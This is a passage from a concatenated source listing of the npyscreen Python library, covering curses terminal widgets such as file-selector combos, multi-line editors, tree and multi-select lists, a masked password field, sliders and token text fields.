fmFileSelector 2 | from . import wgcombobox 3 | 4 | class FilenameCombo(wgcombobox.ComboBox): 5 | def __init__(self, screen, 6 | # The following are all options taken from the FileSelector 7 | select_dir=False, #Select a dir, not a file 8 | must_exist=False, #Selected File must already exist 9 | confirm_if_exists=False, 10 | sort_by_extension=True, 11 | *args, **keywords): 12 | self.select_dir = select_dir 13 | self.must_exist = must_exist 14 | self.confirm_if_exists = confirm_if_exists 15 | self.sort_by_extension = sort_by_extension 16 | 17 | super(FilenameCombo, self).__init__(screen, *args, **keywords) 18 | 19 | def _print(self): 20 | if self.value == None: 21 | printme = '- Unset -' 22 | else: 23 | try: 24 | printme = self.display_value(self.value) 25 | except IndexError: 26 | printme = '-error-' 27 | if self.do_colors(): 28 | self.parent.curses_pad.addnstr(self.rely, self.relx, printme, self.width, self.parent.theme_manager.findPair(self)) 29 | else: 30 | self.parent.curses_pad.addnstr(self.rely, self.relx, printme, self.width) 31 | 32 | 33 | 34 | def h_change_value(self, *args, **keywords): 35 | self.value = fmFileSelector.selectFile( 36 | starting_value = self.value, 37 | select_dir = self.select_dir, 38 | must_exist = self.must_exist, 39 | confirm_if_exists = self.confirm_if_exists, 40 | sort_by_extension = self.sort_by_extension 41 | ) 42 | if self.value == '': 43 | self.value = None 44 | self.display() 45 | 46 | 47 | class TitleFilenameCombo(wgcombobox.TitleCombo): 48 | _entry_type = FilenameCombo -------------------------------------------------------------------------------- /npyscreen/wggridcoltitles.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | import curses 4 | from . import wggrid as grid 5 | from . import wgtextbox as textbox 6 | 7 | class GridColTitles(grid.SimpleGrid): 8 | additional_y_offset = 2 9 | _col_widgets = textbox.Textfield 10 | def __init__(self, screen, col_titles = None, *args, **keywords): 11 | if col_titles: 12 | self.col_titles = col_titles 13 | else: 14 | self.col_titles = [] 15 | super(GridColTitles, self).__init__(screen, *args, **keywords) 16 | 17 | def make_contained_widgets(self): 18 | super(GridColTitles, self).make_contained_widgets() 19 | self._my_col_titles = [] 20 | for title_cell in range(self.columns): 21 | x_offset = title_cell * (self._column_width+self.col_margin) 22 | self._my_col_titles.append(self._col_widgets(self.parent, rely=self.rely, relx = self.relx + x_offset, width=self._column_width, height=1)) 23 | 24 | 25 | def update(self, clear=True): 26 | super(GridColTitles, self).update(clear = True) 27 | 28 | _title_counter = 0 29 | for title_cell in self._my_col_titles: 30 | try: 31 | title_text = self.col_titles[self.begin_col_display_at+_title_counter] 32 | except IndexError: 33 | title_text = None 34 | self.update_title_cell(title_cell, title_text) 35 | _title_counter += 1 36 | 37 | self.parent.curses_pad.hline(self.rely+1, self.relx, curses.ACS_HLINE, self.width) 38 | 39 | def update_title_cell(self, cell, cell_title): 40 | cell.value = cell_title 41 | cell.update() 42 | 43 | -------------------------------------------------------------------------------- /npyscreen/wgmultilineeditable.py: -------------------------------------------------------------------------------- 1 | import curses 2 | from . import wgwidget 3 | from . import wgmultiline 4 | from . import wgtextbox as textbox 5 | from . import wgboxwidget 6 | 7 | 8 | class MultiLineEditable(wgmultiline.MultiLine): 9 | _contained_widgets = textbox.Textfield 10 | CHECK_VALUE = True 11 | ALLOW_CONTINUE_EDITING = True 12 | CONTINUE_EDITING_AFTER_EDITING_ONE_LINE = True 13 | 14 | def get_new_value(self): 15 | return '' 16 | 17 | def check_line_value(self, vl): 18 | if not vl: 19 | return False 20 | else: 21 | return True 22 | 23 | def edit_cursor_line_value(self): 24 | if len(self.values) == 0: 25 | self.insert_line_value() 26 | return False 27 | try: 28 | active_line = self._my_widgets[(self.cursor_line-self.start_display_at)] 29 | except IndexError: 30 | self._my_widgets[0] 31 | self.cursor_line = 0 32 | self.insert_line_value() 33 | return True 34 | active_line.highlight = False 35 | active_line.edit() 36 | try: 37 | self.values[self.cursor_line] = active_line.value 38 | except IndexError: 39 | self.values.append(active_line.value) 40 | if not self.cursor_line: 41 | self.cursor_line = 0 42 | self.cursor_line = len(self.values) - 1 43 | self.reset_display_cache() 44 | 45 | if self.CHECK_VALUE: 46 | if not self.check_line_value(self.values[self.cursor_line]): 47 | self.delete_line_value() 48 | return False 49 | 50 | self.display() 51 | return True 52 | 53 | def insert_line_value(self): 54 | if self.cursor_line is None: 55 | self.cursor_line = 0 56 | self.values.insert(self.cursor_line, self.get_new_value()) 57 | self.display() 58 | cont = self.edit_cursor_line_value() 59 | if cont and self.ALLOW_CONTINUE_EDITING: 60 | self._continue_editing() 61 | 62 | def delete_line_value(self): 63 | if len(self.values) > 0: 64 | del self.values[self.cursor_line] 65 | self.display() 66 | 67 | def _continue_editing(self): 68 | active_line = self._my_widgets[(self.cursor_line-self.start_display_at)] 69 | continue_editing = self.ALLOW_CONTINUE_EDITING 70 | if hasattr(active_line, 'how_exited'): 71 | while active_line.how_exited == wgwidget.EXITED_DOWN and continue_editing: 72 | self.values.insert(self.cursor_line+1, self.get_new_value()) 73 | self.cursor_line += 1 74 | self.display() 75 | continue_editing = self.edit_cursor_line_value() 76 | active_line = self._my_widgets[(self.cursor_line-self.start_display_at)] 77 | 78 | 79 | 80 | 81 | def h_insert_next_line(self, ch): 82 | if len(self.values) == self.cursor_line - 1 or len(self.values) == 0: 83 | self.values.append(self.get_new_value()) 84 | self.cursor_line += 1 85 | self.display() 86 | cont = self.edit_cursor_line_value() 87 | if cont and self.ALLOW_CONTINUE_EDITING: 88 | self._continue_editing() 89 | 90 | else: 91 | self.cursor_line += 1 92 | self.insert_line_value() 93 | 94 | def h_edit_cursor_line_value(self, ch): 95 | continue_line = self.edit_cursor_line_value() 96 | if continue_line and self.CONTINUE_EDITING_AFTER_EDITING_ONE_LINE: 97 | self._continue_editing() 98 | 99 | def h_insert_value(self, ch): 100 | return self.insert_line_value() 101 | 102 | def h_delete_line_value(self, ch): 103 | self.delete_line_value() 104 | 105 | def set_up_handlers(self): 106 | super(MultiLineEditable, self).set_up_handlers() 107 | self.handlers.update ( { 108 | ord('i'): self.h_insert_value, 109 | ord('o'): self.h_insert_next_line, 110 | curses.ascii.CR: self.h_edit_cursor_line_value, 111 | curses.ascii.NL: self.h_edit_cursor_line_value, 112 | curses.ascii.SP: self.h_edit_cursor_line_value, 113 | 114 | curses.ascii.DEL: self.h_delete_line_value, 115 | curses.ascii.BS: self.h_delete_line_value, 116 | curses.KEY_BACKSPACE: self.h_delete_line_value, 117 | } ) 118 | 119 | class MultiLineEditableTitle(wgmultiline.TitleMultiLine): 120 | _entry_type = MultiLineEditable 121 | 122 | class MultiLineEditableBoxed(wgboxwidget.BoxTitle): 123 | _contained_widget = MultiLineEditable 124 | -------------------------------------------------------------------------------- /npyscreen/wgmultilinetreeselectable.py: -------------------------------------------------------------------------------- 1 | import curses 2 | from . import wgmultilinetree 3 | 4 | class TreeLineSelectable(wgmultilinetree.TreeLine): 5 | # NB - as print is currently defined, it is assumed that these will 6 | # NOT contain multi-width characters, and that len() will correctly 7 | # give an indication of the correct offset 8 | CAN_SELECT = '[ ]' 9 | CAN_SELECT_SELECTED = '[*]' 10 | CANNOT_SELECT = ' ' 11 | CANNOT_SELECT_SELECTED = ' * ' 12 | 13 | def _print_select_controls(self): 14 | SELECT_DISPLAY = None 15 | 16 | if self._tree_real_value.selectable: 17 | if self.value.selected: 18 | SELECT_DISPLAY = self.CAN_SELECT_SELECTED 19 | else: 20 | SELECT_DISPLAY = self.CAN_SELECT 21 | else: 22 | if self.value.selected: 23 | SELECT_DISPLAY = self.CANNOT_SELECT_SELECTED 24 | else: 25 | SELECT_DISPLAY = self.CANNOT_SELECT 26 | 27 | 28 | if self.do_colors(): 29 | attribute_list = self.parent.theme_manager.findPair(self, 'CONTROL') 30 | else: 31 | attribute_list = curses.A_NORMAL 32 | 33 | 34 | #python2 compatibility 35 | if isinstance(SELECT_DISPLAY, bytes): 36 | SELECT_DISPLAY = SELECT_DISPLAY.decode() 37 | 38 | 39 | 40 | self.add_line(self.rely, 41 | self.left_margin+self.relx, 42 | SELECT_DISPLAY, 43 | self.make_attributes_list(SELECT_DISPLAY, attribute_list), 44 | self.width-self.left_margin, 45 | ) 46 | 47 | return len(SELECT_DISPLAY) 48 | 49 | 50 | def _print(self, left_margin=0): 51 | if not hasattr(self._tree_real_value, 'selected'): 52 | return None 53 | self.left_margin = left_margin 54 | self.parent.curses_pad.bkgdset(' ',curses.A_NORMAL) 55 | self.left_margin += self._print_tree(self.relx) 56 | 57 | self.left_margin += self._print_select_controls() + 1 58 | 59 | 60 | if self.highlight: 61 | self.parent.curses_pad.bkgdset(' ',curses.A_STANDOUT) 62 | super(wgmultilinetree.TreeLine, self)._print() 63 | 64 | 65 | class TreeLineSelectableAnnotated(TreeLineSelectable, wgmultilinetree.TreeLineAnnotated): 66 | def _print(self, left_margin=0): 67 | if not hasattr(self._tree_real_value, 'selected'): 68 | return None 69 | self.left_margin = left_margin 70 | self.parent.curses_pad.bkgdset(' ',curses.A_NORMAL) 71 | self.left_margin += self._print_tree(self.relx) 72 | self.left_margin += self._print_select_controls() + 1 73 | if self.do_colors(): 74 | self.left_margin += self.annotationColor(self.left_margin+self.relx) 75 | else: 76 | self.left_margin += self.annotationNoColor(self.left_margin+self.relx) 77 | if self.highlight: 78 | self.parent.curses_pad.bkgdset(' ',curses.A_STANDOUT) 79 | super(wgmultilinetree.TreeLine, self)._print() 80 | 81 | 82 | 83 | class MLTreeMultiSelect(wgmultilinetree.MLTree): 84 | _contained_widgets = TreeLineSelectable 85 | def __init__(self, screen, select_cascades=True, *args, **keywords): 86 | super(MLTreeMultiSelect, self).__init__(screen, *args, **keywords) 87 | self.select_cascades = select_cascades 88 | 89 | def h_select(self, ch): 90 | vl = self.values[self.cursor_line] 91 | vl_to_set = not vl.selected 92 | if self.select_cascades: 93 | for v in self._walk_tree(vl, only_expanded=False, ignore_root=False): 94 | if v.selectable: 95 | v.selected = vl_to_set 96 | else: 97 | vl.selected = vl_to_set 98 | if self.select_exit: 99 | self.editing = False 100 | self.how_exited = True 101 | self.display() 102 | 103 | def get_selected_objects(self, return_node=True): 104 | for v in self._walk_tree(self._myFullValues, only_expanded=False, ignore_root=False): 105 | if v.selected: 106 | if return_node: 107 | yield v 108 | else: 109 | yield self._get_content(v) 110 | 111 | class MLTreeMultiSelectAnnotated(MLTreeMultiSelect): 112 | _contained_widgets = TreeLineSelectableAnnotated 113 | -------------------------------------------------------------------------------- /npyscreen/wgmultiselect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from . import wgmultiline as multiline 3 | from . import wgselectone as selectone 4 | from . import wgcheckbox as checkbox 5 | import curses 6 | 7 | class MultiSelect(selectone.SelectOne): 8 | _contained_widgets = checkbox.Checkbox 9 | 10 | def set_up_handlers(self): 11 | super(MultiSelect, self).set_up_handlers() 12 | self.handlers.update({ 13 | ord("x"): self.h_select_toggle, 14 | curses.ascii.SP: self.h_select_toggle, 15 | ord("X"): self.h_select, 16 | "^U": self.h_select_none, 17 | }) 18 | 19 | def h_select_none(self, input): 20 | self.value = [] 21 | 22 | def h_select_toggle(self, input): 23 | if self.cursor_line in self.value: 24 | self.value.remove(self.cursor_line) 25 | else: 26 | self.value.append(self.cursor_line) 27 | 28 | def h_set_filtered_to_selected(self, ch): 29 | self.value = self._filtered_values_cache 30 | 31 | def h_select_exit(self, ch): 32 | if not self.cursor_line in self.value: 33 | self.value.append(self.cursor_line) 34 | if self.return_exit: 35 | self.editing = False 36 | self.how_exited=True 37 | 38 | def get_selected_objects(self): 39 | if self.value == [] or self.value == None: 40 | return None 41 | else: 42 | return [self.values[x] for x in self.value] 43 | 44 | class MultiSelectAction(MultiSelect): 45 | always_act_on_many = False 46 | def actionHighlighted(self, act_on_this, key_press): 47 | "Override this Method" 48 | pass 49 | 50 | def actionSelected(self, act_on_these, keypress): 51 | "Override this Method" 52 | pass 53 | 54 | def set_up_handlers(self): 55 | super(MultiSelectAction, self).set_up_handlers() 56 | self.handlers.update ( { 57 | curses.ascii.NL: self.h_act_on_highlighted, 58 | curses.ascii.CR: self.h_act_on_highlighted, 59 | ord(';'): self.h_act_on_selected, 60 | # "^L": self.h_set_filtered_to_selected, 61 | curses.ascii.SP: self.h_act_on_highlighted, 62 | } ) 63 | 64 | def h_act_on_highlighted(self, ch): 65 | if self.always_act_on_many: 66 | return self.h_act_on_selected(ch) 67 | else: 68 | return self.actionHighlighted(self.values[self.cursor_line], ch) 69 | 70 | def h_act_on_selected(self, ch): 71 | if self.vale: 72 | return self.actionSelected(self.get_selected_objects(), ch) 73 | 74 | 75 | class MultiSelectFixed(MultiSelect): 76 | # This does not allow the user to change Values, but does allow the user to move around. 77 | # Useful for displaying Data. 78 | def user_set_value(self, input): 79 | pass 80 | 81 | def set_up_handlers(self): 82 | super(MultiSelectFixed, self).set_up_handlers() 83 | self.handlers.update({ 84 | ord("x"): self.user_set_value, 85 | ord("X"): self.user_set_value, 86 | curses.ascii.SP: self.user_set_value, 87 | "^U": self.user_set_value, 88 | curses.ascii.NL: self.h_exit_down, 89 | curses.ascii.CR: self.h_exit_down, 90 | 91 | }) 92 | 93 | class TitleMultiSelect(multiline.TitleMultiLine): 94 | _entry_type = MultiSelect 95 | 96 | 97 | 98 | class TitleMultiSelectFixed(multiline.TitleMultiLine): 99 | _entry_type = MultiSelectFixed 100 | 101 | 102 | -------------------------------------------------------------------------------- /npyscreen/wgmultiselecttree.py: -------------------------------------------------------------------------------- 1 | from . import wgmultilinetree as multilinetree 2 | from . import wgcheckbox as checkbox 3 | import weakref 4 | import curses 5 | 6 | class MultiSelectTree(multilinetree.SelectOneTree): 7 | _contained_widgets = checkbox.Checkbox 8 | 9 | def set_up_handlers(self): 10 | super(MultiSelectTree, self).set_up_handlers() 11 | self.handlers.update({ 12 | ord("x"): self.h_select_toggle, 13 | curses.ascii.SP: self.h_select_toggle, 14 | ord("X"): self.h_select, 15 | "^U": self.h_select_none, 16 | }) 17 | 18 | def h_select_none(self, input): 19 | self.value = [] 20 | 21 | def h_select_toggle(self, input): 22 | try: 23 | working_with = weakref.proxy(self.values[self.cursor_line]) 24 | except TypeError: 25 | working_with = self.values[self.cursor_line] 26 | if working_with in self.value: 27 | self.value.remove(working_with) 28 | else: 29 | self.value.append(working_with) 30 | 31 | def h_set_filtered_to_selected(self, ch): 32 | self.value = self.get_filtered_values() 33 | 34 | def h_select_exit(self, ch): 35 | try: 36 | working_with = weakref.proxy(self.values[self.cursor_line]) 37 | except TypeError: 38 | working_with = self.values[self.cursor_line] 39 | 40 | if not working_with in self.value: 41 | self.value.append(working_with) 42 | if self.return_exit: 43 | self.editing = False 44 | self.how_exited=True 45 | -------------------------------------------------------------------------------- /npyscreen/wgpassword.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import curses 3 | from .wgtextbox import Textfield 4 | from . import wgtitlefield as titlefield 5 | 6 | 7 | class PasswordEntry(Textfield): 8 | def _print(self): 9 | strlen = len(self.value) 10 | if self.maximum_string_length < strlen: 11 | tmp_x = self.relx 12 | for i in range(self.maximum_string_length): 13 | self.parent.curses_pad.addch(self.rely, tmp_x, '-') 14 | tmp_x += 1 15 | 16 | else: 17 | tmp_x = self.relx 18 | for i in range(strlen): 19 | self.parent.curses_pad.addstr(self.rely, tmp_x, '-') 20 | tmp_x += 1 21 | 22 | class TitlePassword(titlefield.TitleText): 23 | _entry_type = PasswordEntry 24 | 25 | -------------------------------------------------------------------------------- /npyscreen/wgselectone.py: -------------------------------------------------------------------------------- 1 | from . import wgmultiline as multiline 2 | from . import wgcheckbox as checkbox 3 | 4 | class SelectOne(multiline.MultiLine): 5 | _contained_widgets = checkbox.RoundCheckBox 6 | 7 | def update(self, clear=True): 8 | if self.hidden: 9 | self.clear() 10 | return False 11 | # Make sure that self.value is a list 12 | if not hasattr(self.value, "append"): 13 | if self.value is not None: 14 | self.value = [self.value, ] 15 | else: 16 | self.value = [] 17 | 18 | super(SelectOne, self).update(clear=clear) 19 | 20 | def h_select(self, ch): 21 | self.value = [self.cursor_line,] 22 | 23 | def _print_line(self, line, value_indexer): 24 | try: 25 | display_this = self.display_value(self.values[value_indexer]) 26 | line.value = display_this 27 | line.hide = False 28 | if hasattr(line, 'selected'): 29 | if (value_indexer in self.value and (self.value is not None)): 30 | line.selected = True 31 | else: 32 | line.selected = False 33 | # Most classes in the standard library use this 34 | else: 35 | if (value_indexer in self.value and (self.value is not None)): 36 | line.show_bold = True 37 | line.name = display_this 38 | line.value = True 39 | else: 40 | line.show_bold = False 41 | line.name = display_this 42 | line.value = False 43 | 44 | if value_indexer in self._filtered_values_cache: 45 | line.important = True 46 | else: 47 | line.important = False 48 | 49 | 50 | except IndexError: 51 | line.name = None 52 | line.hide = True 53 | 54 | line.highlight= False 55 | 56 | class TitleSelectOne(multiline.TitleMultiLine): 57 | _entry_type = SelectOne 58 | -------------------------------------------------------------------------------- /npyscreen/wgslider.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import curses 3 | from . import wgwidget as widget 4 | from . import wgtitlefield as titlefield 5 | 6 | class Slider(widget.Widget): 7 | DEFAULT_BLOCK_COLOR = None 8 | def __init__(self, screen, value=0, 9 | out_of=100, step=1, lowest=0, 10 | label=True, 11 | block_color = None, 12 | **keywords): 13 | self.out_of = out_of 14 | self.value = value 15 | self.step = step 16 | self.lowest = lowest 17 | self.block_color = block_color or self.__class__.DEFAULT_BLOCK_COLOR 18 | super(Slider, self).__init__(screen, **keywords) 19 | if self.parent.curses_pad.getmaxyx()[0]-1 == self.rely: self.on_last_line = True 20 | else: self.on_last_line = False 21 | if self.on_last_line: 22 | self.maximum_string_length = self.width - 1 23 | else: 24 | self.maximum_string_length = self.width 25 | self.label = label 26 | 27 | def calculate_area_needed(self): 28 | return 1,0 29 | 30 | def translate_value(self): 31 | """What do different values mean? If you subclass this object, and override this 32 | method, you can change how the labels are displayed. This method should return a 33 | unicode string, to be displayed to the user. You probably want to ensure this is a fixed width.""" 34 | 35 | stri = "%s / %s" %(self.value, self.out_of) 36 | if isinstance(stri, bytes): 37 | stri = stri.decode(self.encoding, 'replace') 38 | l = (len(str(self.out_of)))*2+4 39 | stri = stri.rjust(l) 40 | return stri 41 | 42 | def update(self, clear=True): 43 | if clear: self.clear() 44 | if self.hidden: 45 | self.clear() 46 | return False 47 | length_of_display = self.width + 1 48 | blocks_on_screen = length_of_display 49 | 50 | if self.label: 51 | label_str = self.translate_value() 52 | if isinstance(label_str, bytes): 53 | label_str = label_str.decode(self.encoding, 'replace') 54 | blocks_on_screen -= len(label_str)+3 55 | if self.do_colors(): 56 | label_attributes = self.parent.theme_manager.findPair(self) 57 | else: 58 | label_attributes = curses.A_NORMAL 59 | self.add_line( 60 | self.rely, self.relx+blocks_on_screen+2, 61 | label_str, 62 | self.make_attributes_list(label_str, label_attributes), 63 | len(label_str) 64 | ) 65 | 66 | # If want to handle neg. numbers, this line would need changing. 67 | blocks_to_fill = (float(self.value) / float(self.out_of)) * int(blocks_on_screen) 68 | 69 | if self.editing: 70 | self.parent.curses_pad.attron(curses.A_BOLD) 71 | #self.parent.curses_pad.bkgdset(curses.ACS_HLINE) 72 | #self.parent.curses_pad.bkgdset(">") 73 | #self.parent.curses_pad.bkgdset(curses.A_NORMAL) 74 | BACKGROUND_CHAR = ">" 75 | BARCHAR = curses.ACS_HLINE 76 | else: 77 | self.parent.curses_pad.attroff(curses.A_BOLD) 78 | self.parent.curses_pad.bkgdset(curses.A_NORMAL) 79 | #self.parent.curses_pad.bkgdset(curses.ACS_HLINE) 80 | BACKGROUND_CHAR = curses.ACS_HLINE 81 | BARCHAR = " " 82 | 83 | 84 | for n in range(blocks_on_screen): 85 | xoffset = self.relx 86 | if self.do_colors(): 87 | self.parent.curses_pad.addch(self.rely,n+xoffset, BACKGROUND_CHAR, curses.A_NORMAL | self.parent.theme_manager.findPair(self)) 88 | else: 89 | self.parent.curses_pad.addch(self.rely,n+xoffset, BACKGROUND_CHAR, curses.A_NORMAL) 90 | 91 | for n in range(int(blocks_to_fill)): 92 | if self.do_colors(): 93 | if self.block_color: 94 | self.parent.curses_pad.addch(self.rely,n+xoffset, BARCHAR, self.parent.theme_manager.findPair(self, self.block_color)) 95 | else: 96 | self.parent.curses_pad.addch(self.rely,n+xoffset, BARCHAR, curses.A_STANDOUT | self.parent.theme_manager.findPair(self)) 97 | else: 98 | self.parent.curses_pad.addch(self.rely,n+xoffset, BARCHAR, curses.A_STANDOUT) #curses.ACS_BLOCK) 99 | 100 | self.parent.curses_pad.attroff(curses.A_BOLD) 101 | self.parent.curses_pad.bkgdset(curses.A_NORMAL) 102 | 103 | def set_value(self, val): 104 | #"We can only represent ints or floats, and must be less than what we are out of..." 105 | if val is None: val = 0 106 | if not isinstance(val, int) and not isinstance(val, float): 107 | raise ValueError 108 | 109 | else: 110 | self.__value = val 111 | 112 | if self.__value > self.out_of: raise ValueError 113 | 114 | def get_value(self): 115 | return float(self.__value) 116 | value = property(get_value, set_value) 117 | 118 | def set_up_handlers(self): 119 | super(widget.Widget, self).set_up_handlers() 120 | 121 | self.handlers.update({ 122 | curses.KEY_LEFT: self.h_decrease, 123 | curses.KEY_RIGHT: self.h_increase, 124 | ord('+'): self.h_increase, 125 | ord('-'): self.h_decrease, 126 | ord('h'): self.h_decrease, 127 | ord('l'): self.h_increase, 128 | ord('j'): self.h_exit_down, 129 | ord('k'): self.h_exit_up, 130 | }) 131 | 132 | def h_increase(self, ch): 133 | if (self.value + self.step <= self.out_of): self.value += self.step 134 | 135 | def h_decrease(self, ch): 136 | if (self.value - self.step >= self.lowest): self.value -= self.step 137 | 138 | 139 | class TitleSlider(titlefield.TitleText): 140 | _entry_type = Slider 141 | 142 | class SliderNoLabel(Slider): 143 | def __init__(self, screen, label=False, *args, **kwargs): 144 | super(SliderNoLabel, self).__init__(screen, label=label, *args, **kwargs) 145 | 146 | def translate_value(self): 147 | return '' 148 | 149 | class TitleSliderNoLabel(TitleSlider): 150 | _entry_type = SliderNoLabel 151 | 152 | class SliderPercent(Slider): 153 | def __init__(self, screen, accuracy=2, *args, **kwargs): 154 | super(SliderPercent, self).__init__(screen, *args, **kwargs) 155 | self.accuracy = accuracy 156 | 157 | def translate_value(self): 158 | pc = float(self.value) / float(self.out_of) * 100 159 | return '%.*f%%' % (int(self.accuracy), pc) 160 | 161 | class TitleSliderPercent(TitleSlider): 162 | _entry_type = SliderPercent -------------------------------------------------------------------------------- /npyscreen/wgtextbox_controlchrs.py: -------------------------------------------------------------------------------- 1 | import curses 2 | from . import wgtextbox as textbox 3 | 4 | class TextfieldCtrlChars(textbox.Textfield): 5 | "Implements a textfield, but which can be prefixed with special curses graphics. Currently unfinished. Not for use." 6 | def __init__(self, *args, **keywords): 7 | self.ctr_chars = [] 8 | super(TextfieldCtrlChars, self).__init__(*args, **keywords) 9 | 10 | def _get_maximum_string_length(self): 11 | if self.on_last_line: 12 | _maximum_string_length = self.width - 1 13 | else: 14 | _maximum_string_length = self.width 15 | 16 | _maximum_string_length -= (len(self.ctr_chars) + 1) 17 | 18 | return _maximum_string_length 19 | 20 | def _set_maxiumum_string_length(self, *args): 21 | pass 22 | 23 | def _del_maxiumum_string_length(self): 24 | pass 25 | 26 | maximum_string_length = property(_get_maximum_string_length, _set_maxiumum_string_length, _del_maxiumum_string_length) 27 | 28 | 29 | -------------------------------------------------------------------------------- /npyscreen/wgtextboxunicode.py: -------------------------------------------------------------------------------- 1 | from . import wgtextbox 2 | 3 | import unicodedata 4 | import curses 5 | 6 | 7 | 8 | class TextfieldUnicode(wgtextbox.Textfield): 9 | width_mapping = {'F':2, 'H': 1, 'W': 2, 'Na': 1, 'N': 1} 10 | def find_apparent_cursor_position(self, ): 11 | string_to_print = self.display_value(self.value)[self.begin_at:self.maximum_string_length+self.begin_at-self.left_margin] 12 | cursor_place_in_visible_string = self.cursor_position - self.begin_at 13 | counter = 0 14 | columns = 0 15 | while counter < cursor_place_in_visible_string: 16 | columns += self.find_width_of_char(string_to_print[counter]) 17 | counter += 1 18 | return columns 19 | 20 | def find_width_of_char(self, char): 21 | return 1 22 | w = unicodedata.east_asian_width(char) 23 | if w == 'A': 24 | # Abiguous - allow 1, but be aware that this could well be wrong 25 | return 1 26 | else: 27 | return self.__class__.width_mapping[w] 28 | 29 | 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /npyscreen/wgtexttokens.py: -------------------------------------------------------------------------------- 1 | import curses 2 | import sys 3 | from . import wgwidget 4 | from . import wgtextbox 5 | from . import wgtitlefield 6 | 7 | class TextTokens(wgtextbox.Textfield,wgwidget.Widget): 8 | """This is an experiemental widget""" 9 | 10 | # NB IT DOES NOT CURRENTLY SUPPORT THE HIGHLIGHTING COLORS 11 | # OF THE TEXTFIELD CLASS. 12 | 13 | 14 | def __init__(self, *args, **keywords): 15 | super(TextTokens, self).__init__(*args, **keywords) 16 | self.begin_at = 0 # which token to begin display with 17 | self.maximum_string_length = self.width - 2 18 | self.left_margin = 0 19 | self.cursor_position = 0 20 | 21 | self.important = False 22 | self.highlight = False 23 | self.show_bold = False 24 | 25 | def find_cursor_offset_on_screen(self, position): 26 | index = self.begin_at 27 | offset = 0 28 | while index < position: 29 | offset += len(self.decode_token(self.value[index])) 30 | index += 1 31 | return offset - self.begin_at # I don't quite understand 32 | # why the - self.begin_at is needed 33 | # but without it the cursor and screen 34 | # get out of sync 35 | 36 | def decode_token(self, tk): 37 | r = ''.join(tk) 38 | if len(r) > 1: 39 | r = ' [' + r + '] ' 40 | if isinstance(r, bytes): 41 | r = r.decode(self.encoding, 'replace') 42 | return r 43 | 44 | # text and highlighting generator. 45 | def get_literal_text_and_highlighting_generator(self, start_at=0,): 46 | # could perform initialization here. 47 | index = start_at 48 | string_length = 0 49 | output = '' 50 | while string_length <= self.maximum_string_length and len(self.value) > index: 51 | token_output = self.decode_token(self.value[index]) 52 | if isinstance(token_output, bytes): 53 | token_output = token_output.decode(self.encoding, 'replace') 54 | highlighting = [curses.A_NORMAL for c in token_output] 55 | yield(token_output, highlighting) 56 | index += 1 57 | 58 | def get_literal_text_to_display(self, start_at=0,): 59 | g = self.get_literal_text_and_highlighting_generator(start_at=start_at) 60 | txt = [] 61 | highlighting = [] 62 | for i in g: 63 | txt += i[0] 64 | highlighting += i[1] 65 | return txt, highlighting 66 | 67 | 68 | def update(self, clear=True, cursor=True): 69 | if clear: self.clear() 70 | if self.begin_at < 0: self.begin_at = 0 71 | if self.left_margin >= self.maximum_string_length: 72 | raise ValueError 73 | 74 | if self.cursor_position < 0: 75 | self.cursor_position = 0 76 | if self.cursor_position > len(self.value): 77 | self.cursor_position = len(self.value) 78 | 79 | if self.cursor_position < self.begin_at: 80 | self.begin_at = self.cursor_position 81 | 82 | while self.find_cursor_offset_on_screen(self.cursor_position) > \ 83 | self.find_cursor_offset_on_screen(self.begin_at) + \ 84 | self.maximum_string_length - self.left_margin -1: # -1: 85 | self.begin_at += 1 86 | 87 | 88 | text, highlighting = self.get_literal_text_to_display(start_at=self.begin_at) 89 | if self.do_colors(): 90 | if self.important: 91 | color = self.parent.theme_manager.findPair(self, 'IMPORTANT') | curses.A_BOLD 92 | else: 93 | color = self.parent.theme_manager.findPair(self, self.color) 94 | if self.show_bold: 95 | color = color | curses.A_BOLD 96 | if self.highlight: 97 | if not self.editing: 98 | color = color | curses.A_STANDOUT 99 | else: 100 | color = color | curses.A_UNDERLINE 101 | highlighting = [color for c in highlighting if c == curses.A_NORMAL] 102 | else: 103 | color = curses.A_NORMAL 104 | if self.important or self.show_bold: 105 | color = color | curses.A_BOLD 106 | if self.important: 107 | color = color | curses.A_UNDERLINE 108 | if self.highlight: 109 | if not self.editing: 110 | color = color | curses.A_STANDOUT 111 | else: 112 | color = color | curses.A_UNDERLINE 113 | highlighting = [color for c in highlighting if c == curses.A_NORMAL] 114 | 115 | self._print(text, highlighting) 116 | 117 | if self.editing and cursor: 118 | self.print_cursor() 119 | 120 | 121 | def _print(self, text, highlighting): 122 | self.add_line(self.rely, 123 | self.relx + self.left_margin, 124 | text, 125 | highlighting, 126 | self.maximum_string_length - self.left_margin 127 | ) 128 | def print_cursor(self): 129 | _cur_loc_x = self.cursor_position - self.begin_at + self.relx + self.left_margin 130 | try: 131 | char_under_cur = self.decode_token(self.value[self.cursor_position]) #use the real value 132 | char_under_cur = self.safe_string(char_under_cur) 133 | except IndexError: 134 | char_under_cur = ' ' 135 | 136 | if isinstance(char_under_cur, bytes): 137 | char_under_cur = char_under_cur.decode(self.encoding, 'replace') 138 | 139 | offset = self.find_cursor_offset_on_screen(self.cursor_position) 140 | if self.do_colors(): 141 | ATTR_LIST = self.parent.theme_manager.findPair(self) | curses.A_STANDOUT 142 | else: 143 | ATTR_LIST = curses.A_STANDOUT 144 | 145 | self.add_line(self.rely, 146 | self.begin_at + self.relx + self.left_margin + offset, 147 | char_under_cur, 148 | self.make_attributes_list(char_under_cur, ATTR_LIST), 149 | # I don't understand why the "- self.begin_at" is needed in the following line 150 | # but it is or the cursor can end up overrunning the end of the widget. 151 | self.maximum_string_length+1 - self.left_margin - offset - self.begin_at, 152 | ) 153 | 154 | def h_addch(self, inp): 155 | if self.editable: 156 | #self.value = self.value[:self.cursor_position] + curses.keyname(input) \ 157 | # + self.value[self.cursor_position:] 158 | #self.cursor_position += len(curses.keyname(input)) 159 | 160 | # workaround for the metamode bug: 161 | if self._last_get_ch_was_unicode == True and isinstance(self.value, bytes): 162 | # probably dealing with python2. 163 | ch_adding = inp 164 | self.value = self.value.decode() 165 | elif self._last_get_ch_was_unicode == True: 166 | ch_adding = inp 167 | else: 168 | try: 169 | ch_adding = chr(inp) 170 | except TypeError: 171 | ch_adding = input 172 | self.value = self.value[:self.cursor_position] + [ch_adding,] 